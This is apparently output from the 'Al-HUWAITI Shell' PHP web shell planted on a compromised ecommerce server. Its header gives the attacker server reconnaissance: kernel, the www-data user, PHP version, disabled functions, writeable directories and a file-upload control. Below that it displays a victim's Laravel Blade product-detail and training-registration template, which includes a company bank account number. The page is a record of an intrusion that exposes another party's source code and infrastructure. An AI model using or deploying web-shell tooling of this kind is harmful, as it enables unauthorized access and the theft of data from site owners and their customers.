Al-HUWAITI Shell
Al-huwaiti


Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/ecommerce/resources/views/frontend/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/ecommerce/resources/views/frontend/pages/new-product-detail.blade.php
@extends('frontend.layouts.master')

@section('meta')
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name='copyright' content=''>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="keywords" content="online shop, purchase, cart, ecommerce site, best online shopping">
    <meta name="description" content="{{ $product_detail->summary }}">
    <meta property="og:url" content="{{ route('product-detail', $product_detail->slug) }}">
    <meta property="og:type" content="article">
    <meta property="og:title" content="{{ $product_detail->title }}">
    <meta property="og:image" content="{{ $product_detail->photo }}">
    <meta property="og:description" content="{{ $product_detail->description }}">
@endsection
@section('title', 'Product Detail')
@section('main-content')

    <!-- Breadcrumbs -->
    <div class="breadcrumbs">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="bread-inner">
                        <ul class="bread-list">
                            <li><a href="{{ route('home') }}">Home<i class="ti-arrow-right"></i></a></li>
                            <li><a href="{{ route('product-cat', ['slug' => $product_detail?->cat_info?->slug]) }}">{!! $product_detail?->cat_info?->title !!}<i
                                        class="ti-arrow-right"></i></a></li>
                            <li class="active"><a href="#0">{!! $product_detail->title !!}</a></li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <!-- End Breadcrumbs -->

    @php
        $isLearningDetail = $product_detail?->cat_info?->slug === 'learning'
    @endphp

    <div class="position-relative mb-5">
        <div
            style="background: linear-gradient(186.41deg, rgba(3, 214, 117, 0) 10.84%, rgba(3, 214, 117, 0.667604) 94.15%, #03D675 118.98%);opacity: 0.16; position: absolute;left: 0; top: 0; width: 100%; height: 100%;">
        </div>

        <div class="container">

            <div class="row">
                <div class="col-sm-6 pt-4">
                    <h1 class="font-weight-bold">{{ $product_detail->title }}</h1>
                    <h6 class="mb-4 lead font-weight-normal" style="line-height: 34px;">
                        {!! $product_detail->summary !!}
                    </h6>

                    <div class="mb-4">
                        <div class="ratings d-inline">
                            <ul class="rating d-inline-block">
                                @php
                                    $rate = ceil($product_detail->getReview->avg('rate'));
                                @endphp
                                @for ($i = 1; $i <= 5; $i++)
                                    @if ($rate >= $i)
                                        <li><i class="fa fa-star"></i></li>
                                    @else
                                        <li><i class="fa fa-star-o"></i></li>
                                    @endif
                                @endfor
                            </ul>
                        </div>

                        <span class="ml-2">
                            <b>{{ $product_detail->getReview->count() }}</b> Customer Reviews
                        </span>
                    </div>

                    <div class="mb-4">
                        <h4>
                            @if ($product_detail->discount)
                                <span
                                    class="font-weight-bold text-egray"><s>{{ config('shop.currency_symbol') . ' ' . number_format($product_detail->price, 2) }}</s></span>
                                <span
                                    class="ml-4 font-weight-normal text-e-primary">{{ config('shop.currency_symbol') . ' ' . number_format($product_detail->discounted_price, 2) }}</span>
                            @else
                                <span
                                    class="font-weight-bold text-e-primary">{{ config('shop.currency_symbol') . ' ' . number_format($product_detail->price, 2) }}</span>
                            @endif
                        </h4>
                    </div>

                    <div class="mb-4">
                        @if (!$isLearningDetail)
                            <form class="row" action="{{ route('single-add-to-cart') }}" method="POST">
                                @csrf
                                <div class="col quantity">
                                    <div class="form-group  input-material input-group">
                                        <div class="button minus">
                                            <button type="button" class="btn btn-success btn-sm shadow-sm btn-number"
                                                disabled="disabled" data-type="minus" data-field="quant[1]">
                                                <i class="ti-minus"></i>
                                            </button>
                                        </div>
                                        <input type="hidden" name="slug" value="{{ $product_detail->slug }}">
                                        <input type="text" name="quant[1]" class="form-control font-weight-bold input-number"
                                            data-min="1" data-max="1000" value="1" id="quantity"
                                            style="max-width: 10%; text-align: center;">
                                        <div class="button plus">
                                            <button type="button" class="btn btn-success btn-sm shadow-sm btn-number"
                                                data-type="plus" data-field="quant[1]">
                                                <i class="ti-plus"></i>
                                            </button>
                                        </div>
                                    </div>

                                    <button type="submit" class="btn btn-lg btn-success"><span
                                            class="ti-shopping-cart mr-2"></span> Add to cart</button>
                                    @if (auth()->check())
                                        @if (!$inWishProducts->where('id', $product_detail->id)->isEmpty())
                                            <a href="{{ route('add-to-wishlist', $product_detail->slug) }}"
                                                class="btn btn-success btn-lg min"><i class="ti-heart"></i></a>
                                        @else
                                            <button type="button" class="btn min ok btn-lg text-e-primary">
                                                <i class="ti-heart"></i>
                                            </button>
                                        @endif
                                    @else
                                    @endif
                                    <!--/ End Input Order -->
                                </div>
                                <div class="add-to-cart mt-4">
                                </div>
                            </form>
                        @else
                            <a href="#apply_training" class="btn btn-lg btn-success text-white">
                                <span class="ti-shopping-cart mr-2"></span> Apply to Course
                            </a>
                        @endif
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="flexslider-thumbnails">
                        <ul class="slides">
                            @php
                                $photo = explode(',', $product_detail->photo);
                            @endphp
                            @foreach ($photo as $data)
                                <li data-thumb="{{ $data }}" rel="adjustX:10, adjustY:">
                                    <img src="{{ Helper::imagePath($data) }}" alt="{{ $data }}">
                                </li>
                            @endforeach
                        </ul>
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col text-right my-4">
                    Share on Social
                    <a
                        href="#0"
                        target="_blank"
                        class="social-circle ml-2"><span class="ti-instagram"></span></a>
                    <a
                        href="https://www.facebook.com/sharer/sharer.php?u={{ urlencode(url()->current()) }}&title={{ urlencode("See etiqafinans product {$product_detail->title}") }}"
                        target="_blank"
                        class="ml-2 social-circle"><span class="ti-facebook"></span></a>
                    <a
                        href="https://twitter.com/share?text={{ urlencode("See etiqafinans product {$product_detail->title}") }}&url={{ urlencode(url()->current()) }}"
                        target="_blank"
                        class="ml-2 social-circle"
                    ><span class="ti-twitter"></span></a>
                </div>
            </div>

            <div class="row">
                <div class="col">
                    <h3 class="mb-4">{{ $isLearningDetail ? 'Course Outline' : 'Product Description' }}</h3>
                    <div class="card product-details">
                        <div class="card-body">
                            <ul class="nav nav-pills @if (!$isLearningDetail) nav-justified @endif" role="tablist">
                                <li class="nav-item">
                                    <a class="nav-link active" data-toggle="tab" href="#detail_description"
                                        role="tab">{{ $isLearningDetail ? 'Outline' : 'Description' }}</a>
                                </li>

                                @if (!$isLearningDetail)
                                    <li class="nav-item">
                                        <a class="nav-link" data-toggle="tab" href="#detail_warranty"
                                            role="tab">Warranty</a>
                                    </li>
                                    <li class="nav-item">
                                        <a class="nav-link" data-toggle="tab" href="#detail_gallery"
                                            role="tab">Gallery</a>
                                    </li>
                                @endif
                            </ul>

                            <div class="tab-content mt-4">
                                <div class="tab-pane fade show active" id="detail_description" role="tabpanel">
                                    {!! $product_detail->description !!}
                                </div>
                                @if (!$isLearningDetail)
                                    <div class="tab-pane fade" id="detail_warranty" role="tabpanel">

                                    </div>
                                    <div class=" tab-pane fade" id="detail_gallery" role="tabpanel">
                                        ...
                                    </div>
                                @endif
                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col">
                    <h3 class="my-4">Customer Reviews</h3>

                    <div id="reviews" class="mb-4">
                        <div class="review-panel">
                            <div class="comment-review">
                                <div class="review-inner">
                                    <!-- Form -->
                                    @auth
                                        <form class="form" method="post"
                                            action="{{ route('review.store', $product_detail->slug) }}">
                                            @csrf

                                            <div class="form-group">
                                            </div>

                                            <div class="form-group">
                                                <div class="rating_box">
                                                    <label>Write a review</label>
                                                    <div class="star-rating">
                                                        <div class="star-rating__wrap">
                                                            <input class="star-rating__input" id="star-rating-5" type="radio"
                                                                name="rate" value="5">
                                                            <label class="star-rating__ico fa fa-star-o" for="star-rating-5"
                                                                title="5 out of 5 stars"></label>
                                                            <input class="star-rating__input" id="star-rating-4" type="radio"
                                                                name="rate" value="4">
                                                            <label class="star-rating__ico fa fa-star-o" for="star-rating-4"
                                                                title="4 out of 5 stars"></label>
                                                            <input class="star-rating__input" id="star-rating-3" type="radio"
                                                                name="rate" value="3">
                                                            <label class="star-rating__ico fa fa-star-o" for="star-rating-3"
                                                                title="3 out of 5 stars"></label>
                                                            <input class="star-rating__input" id="star-rating-2" type="radio"
                                                                name="rate" value="2">
                                                            <label class="star-rating__ico fa fa-star-o" for="star-rating-2"
                                                                title="2 out of 5 stars"></label>
                                                            <input class="star-rating__input" id="star-rating-1" type="radio"
                                                                name="rate" value="1">
                                                            <label class="star-rating__ico fa fa-star-o" for="star-rating-1"
                                                                title="1 out of 5 stars"></label>
                                                            @error('rate')
                                                                <span class="text-danger">{{ $message }}</span>
                                                            @enderror
                                                        </div>
                                                    </div>
                                                </div>

                                                <textarea class="form-control" name="review" rows="3"
                                                    placeholder=""></textarea>
                                            </div>

                                            <div class="form-group">
                                                <button type="submit" class="btn btn-success">Submit</button>
                                            </div>

                                        </form>
                                    @else
                                        <div class="text-center p-5">
                                            You need to <a href="{{ route('login.form') }}" class="text-e-primary">Login</a> OR <a
                                                 class="text-e-primary" href="{{ route('register.form') }}">Register</a>
                                        </div>
                                    @endauth
                                    <!--/ End Form -->
                                </div>
                            </div>

                            <div class="ratting-main">
                                <div class="row my-4">
                                    @foreach ($product_detail->getReview as $data)
                                        @if ($loop->index > 0 && $loop->index % 2 === 0)
                                            </div>
                                            <div class="row">
                                        @endif

                                        <div class="col">
                                            <div class="card rounded-12">
                                                <div class="card-body">
                                                    <div class="second d-flex flex-row mb-4">
                                                            <div class="image mr-3">
                                                                @if ($data->user_info->photo)
                                                                    <img src="{{ $data->user_info->photo }}" class="rounded-circle"
                                                                        width="60" />
                                                                @else
                                                                    <img src="https://via.placeholder.com/150" class="rounded-circle" width="60" />
                                                                @endif
                                                            </div>
                                                            <div class="">
                                                                <div class="mb-1">
                                                                    <div>Verified purchase</div>
                                                                    <div class="ratings ">
                                                                        <ul class="rating d-inline-block">
                                                                            @for ($i = 1; $i <= 5; $i++)
                                                                                @if ($data->rate >= $i)
                                                                                    <li><i class="fa fa-star"></i>
                                                                                    </li>
                                                                                @else
                                                                                    <li><i class="fa fa-star-o"></i>
                                                                                    </li>
                                                                                @endif
                                                                            @endfor
                                                                        </ul>
                                                                        (<span class="rate-count">{{ $data->rate }}</span>)
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>

                                                        <h5 class="card-title text-e-primary font-weight-bold">{{ $data->user_info->name }}</h5>
                                                        <p class="card-text">{{ $data->review }}</p>

                                                </div>
                                            </div>
                                         </div>
                                    @endforeach
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

        </div>
    </div>


    @if (!$isLearningDetail)

        @if ($product_detail->relatedProducts->count())
            <div class="website-section">
                <div class="container">
                    <div class="row">
                        <div class=" position-relative ml-4 mb-4">
                            <h5 style="color:#FFCC4D;">Best of the best <span class="pl-2"
                                    style="position: absolute;top: -2px;">{!! svg_html('fire') !!}</span></h5>
                            <h2>Related Products</h2>
                        </div>
                    </div>

                    <div class="row">
                        @foreach ($product_detail->relatedProducts as $data)
                            @if ($data->id !== $product_detail->id)
                                <div class="col-xs-12 col-sm-6 col-md-3 mb-4">
                                    <x-product-card :product="$data" :show-rating="true" />
                                </div>
                            @endif
                        @endforeach
                    </div>
                </div>
            </div>
        @endif

    @else

        <div class="website-section mb-5" id="apply_training">
            <div class="container">
                <div class="row">
                    <div class="col">

                        <div class="col-sm-12 text-center section-head mb-4">
                            <h5 style="color:#FFCC4D;">We are here for you</h5>
                            <h3>{{ __('For Training') }}</h3>
                        </div>

                        <div class="form-group row d-none participant-field">
                            <label for="others"
                                class="col-md-4 col-form-label text-md-right">{{ __('Participants') }}</label>

                            <div class="col-md-6 mb-2">
                                <div class="row">
                                    <div class="col">
                                        <input type="text" name="participant_name[]" placeholder="Participant Name" class="form-control form-control-lg" value="">
                                    </div>

                                    <div class="col">
                                        <input type="text" name="participant_email[]" placeholder="Participant Email" class="form-control form-control-lg" value="">
                                    </div>
                                </div>
                            </div>
                        </div>

                        <form method="POST" enctype="multipart/form-data" autocomplete="off"
                            action="{{ route('website.training.store') }}">
                            @csrf

                            <input type="hidden" name="course_id" value="{{ $product_detail->id }}" />

                            <div class="row">
                                <div class="col">
                                    <div class="alert alert-secondary" role="alert">
                                        Kindly make payment to this account details and upload evidence of payment with your registration
                                        <br/>
                                        <b>Taj Bank Plc<br/>
                                        Etiqafinans Ltd 0002110827</b>
                                    </div>
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="name"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Number of Participant') }}</label>

                                <div class="col-md-6">
                                    <input type="number"
                                        class="form-control form-control-lg @error('name') is-invalid @enderror"
                                        name="number_of_participant" value="{{ old('number_of_participant') ?? 1 }}" required>

                                    @error('number_of_participant')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="firstname"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Firstname') }}</label>

                                <div class="col-md-6">
                                    <input type="text"
                                        class="form-control form-control-lg @error('firstname') is-invalid @enderror"
                                        name="firstname" value="{{ old('firstname') }}" required>

                                    @error('firstname')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="lastname"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Lastname') }}</label>

                                <div class="col-md-6">
                                    <input type="text"
                                        class="form-control form-control-lg @error('lastname') is-invalid @enderror"
                                        name="lastname" value="{{ old('lastname') }}" required>

                                    @error('lastname')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="address"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Address') }}</label>

                                <div class="col-md-6">
                                    <textarea name="address"
                                        class="form-control form-control-lg @error('password') is-invalid @enderror">{{ old('address') }}</textarea>

                                    @error('address')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="email" class="col-md-4 col-form-label text-md-right">{{ __('E-Mail') }}</label>

                                <div class="col-md-6">
                                    <input type="email"
                                        class="form-control form-control-lg @error('email') is-invalid @enderror" name="email"
                                        value="{{ old('email') }}" required autocomplete="email">

                                    @error('email')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="phone"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Phone Number') }}</label>

                                <div class="col-md-6">
                                    <input type="tel" class="form-control form-control-lg @error('phone') is-invalid @enderror"
                                        name="phone" value="{{ old('phone') }}" required>

                                    @error('phone')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="occupation"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Occupation (Registration Fee)') }}</label>

                                <div class="col-md-6">
                                    <select class="form-control form-control-lg @error('occupation') is-invalid @enderror"
                                        name="occupation" required>
                                        <option value="regular">Individual</option>
                                        <option value="student">Student</option>
                                        <option value="organization">3 or more from same organization</option>
                                    </select>

                                    @error('occupation')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="participants d-none">
                                <div class="form-group row">
                                    <div class="col-md-6 offset-md-4">
                                        <button type="button" id="add_participant" class="btn btn-secondary btn-sm">
                                            {{ __('Add Participant') }}
                                        </button>
                                    </div>
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="institution"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Institution') }}</label>

                                <div class="col-md-6">
                                    <input type="text"
                                        class="form-control form-control-lg @error('institution') is-invalid @enderror"
                                        name="institution" value="{{ old('institution') }}" required>

                                    @error('institution')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="evidence"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Evidence of Payment') }}</label>

                                <div class="col-md-6">
                                    <input type="file"
                                        class="form-control form-control-lg @error('evidence') is-invalid @enderror"
                                        name="evidence">

                                    @error('evidence')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row">
                                <label for="id_card"
                                    class="col-md-4 col-form-label text-md-right">{{ __('Student/Employer ID') }}</label>

                                <div class="col-md-6">
                                    <input type="file"
                                        class="form-control form-control-lg @error('id_card') is-invalid @enderror"
                                        name="id_card">

                                    @error('id_card')
                                        <span class="invalid-feedback" role="alert">
                                            <strong>{{ $message }}</strong>
                                        </span>
                                    @enderror
                                </div>
                            </div>

                            <div class="form-group row mb-0">
                                <div class="col-md-6 offset-md-4">
                                    <button type="submit" class="btn btn-success btn-lg">
                                        {{ __('Submit') }}
                                    </button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>

    @endif

@endsection

@push('styles')
    <style>
        .rating_box {
            display: inline-flex;
        }

        .star-rating {
            font-size: 0;
            padding-left: 10px;
            padding-right: 10px;
        }

        .star-rating__wrap {
            display: inline-block;
            font-size: 1rem;
        }

        .star-rating__wrap:after {
            content: "";
            display: table;
            clear: both;
        }

        .star-rating__ico {
            float: right;
            padding-left: 2px;
            cursor: pointer;
            color: #3CC78F;
            font-size: 16px;
        }

        .star-rating__ico:last-child {
            padding-left: 0;
        }

        .star-rating__input {
            display: none;
        }

        .star-rating__ico:hover:before,
        .star-rating__ico:hover~.star-rating__ico:before,
        .star-rating__input:checked~.star-rating__ico:before {
            content: "\F005";
        }

    </style>
@endpush

@push('scripts')
    <script>
        $('[name="occupation"]').on("change", function() {
            if ($(this).val() === 'organization') {
                $(".participants").removeClass("d-none");
            } else {
                $(".participants").addClass("d-none");
            }
        });

        $("#add_participant").on("click", () => {
            const $elem = $(".participant-field")
                .clone()
                .removeClass("participant-field d-none");

            $(".participants").append(
                $elem
            );
        });
    </script>
@endpush

Al-HUWAITI Shell